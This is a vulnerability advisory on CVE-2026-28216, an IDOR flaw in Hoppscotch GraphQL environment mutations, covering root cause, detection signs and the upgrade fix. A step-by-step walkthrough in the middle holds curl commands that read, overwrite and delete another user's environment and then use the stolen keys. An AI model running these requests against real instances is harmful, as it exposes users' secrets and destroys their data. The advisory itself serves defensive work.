CVE-2026-28216: 
NixOS vulnerability analysis and mitigation

CVE-2026-28216 is an Insecure Direct Object Reference (IDOR) vulnerability in Hoppscotch, an open-source API development ecosystem, that allows any authenticated user to read, modify, or delete another user's personal environment by ID. It affects all versions up to and including 2026.1.1 (i.e., prior to 2026.2.0). The vulnerability was disclosed on February 26, 2026, with a fix released the same day in version 2026.2.0. It carries a CVSS v3.1 base score of 8.3 (High) (GitHub Advisory, Feedly).

The root cause is an authorization bypass through user-controlled key (CWE-639), manifesting in two GraphQL resolver functions in user-environments.resolver.ts (lines 82–109). The updateUserEnvironment mutation uses @UseGuards(GqlAuthGuard) for authentication but is entirely missing the @GqlUser() decorator, meaning the user's identity is never extracted; the service then executes prisma.userEnvironment.update({ where: { id } }) with no ownership filter. The deleteUserEnvironment function does extract the user, but only uses the UID to check whether the target is a global environment — the actual delete query uses WHERE { id } without an AND userUid clause, allowing deletion of any environment by ID. A PoC is publicly available in the GitHub Security Advisory, demonstrating exploitation via crafted GraphQL mutations using only the victim's environment CUID (GitHub Advisory).

Successful exploitation allows an authenticated attacker who obtains a target user's environment ID to read sensitive data (API keys, authentication tokens, and secrets stored in environments), replace those secrets with malicious values to compromise downstream API integrations, or delete environments entirely causing service disruption. Because Hoppscotch environments are commonly used to store credentials for API workflows, exposure can cascade to third-party services authenticated via those credentials. While the CUID format of environment IDs limits opportunistic mass enumeration, insider threats and scenarios where environment IDs are leaked through other means (e.g., logs, shared links) present realistic attack paths (GitHub Advisory, Feedly).

A public PoC is available in the GitHub Security Advisory, demonstrating exploitation via simple curl commands targeting the GraphQL endpoint. There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.038% (0.000380), indicating low predicted exploitation probability in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Feedly).

1. Obtain authentication: Log in to the target Hoppscotch instance as any valid user to obtain a session access_token cookie.
2. Discover victim's environment ID: Either through an information disclosure vulnerability, insider access, or by querying the GraphQL API as the victim user: curl -s -X POST http://<host>:3170/graphql -H "Content-Type: application/json" -H "Cookie: access_token=<victim_token>" -d '{"query":"query { me { environments { id name variables } } }'
3. Read victim's environment secrets: Use the attacker's session to query the environment by ID via the GraphQL API, retrieving stored API keys and tokens.
4. Modify victim's environment (integrity attack): Send a updateUserEnvironment mutation with the victim's environment ID using the attacker's session token: curl -s -X POST http://<host>:3170/graphql -H "Content-Type: application/json" -H "Cookie: access_token=<attacker_token>" -d '{"query":"mutation { updateUserEnvironment(id: \"<victim_env_id>\", name: \"PWNED\", variables: \"[]\") { id userUid name variables } }"}'
5. Delete victim's environment (availability attack): Send a deleteUserEnvironment mutation with the victim's environment ID: curl -s -X POST http://<host>:3170/graphql -H "Content-Type: application/json" -H "Cookie: access_token=<attacker_token>" -d '{"query":"mutation { deleteUserEnvironment(id: \"<victim_env_id>\") }"}'
6. Leverage stolen credentials: Use any extracted API keys or tokens to access third-party services or pivot further within the organization (GitHub Advisory).

• Network: Unusual GraphQL POST requests to /graphql containing updateUserEnvironment or deleteUserEnvironment mutations from a user account that does not own the referenced environment ID; repeated GraphQL queries for me { environments } from multiple distinct user sessions in short succession.
• Logs: Backend application logs showing updateUserEnvironment or deleteUserEnvironment operations where the requesting user's UID does not match the userUid field of the affected environment record; unexpected environment name changes (e.g., to values like "PWNED") in audit or database logs.
• Application Behavior: Users reporting missing or altered environments containing API keys or secrets; environments with variables unexpectedly cleared or replaced with empty arrays.
• Database: userEnvironment records with updatedAt timestamps inconsistent with the owning user's activity, or records deleted without corresponding user-initiated actions (GitHub Advisory).

Upgrade all self-hosted Hoppscotch deployments to version 2026.2.0 or later, which resolves the IDOR by implementing proper user ownership validation in both updateUserEnvironment and deleteUserEnvironment functions (PR #5897 and #5902). Note that this release also includes database migrations required for other features, so migration steps should be followed per the official documentation. As an interim measure where immediate patching is not possible, restrict access to the Hoppscotch GraphQL API endpoint to trusted network segments or authenticated users only via network-level controls. Additionally, rotate any API keys, authentication tokens, or secrets stored in Hoppscotch environments that may have been exposed, and audit environment access logs for unauthorized modifications (GitHub Advisory, Release Notes).

The vulnerability was reported by security researchers tracemint and artylobos and published as a GitHub Security Advisory by Hoppscotch maintainer jamesgeorge007. The fix was included in the same-day release of version 2026.2.0, reflecting a rapid vendor response. No significant broader media coverage or notable community controversy has been identified beyond standard vulnerability tracking (GitHub Advisory, Release Notes).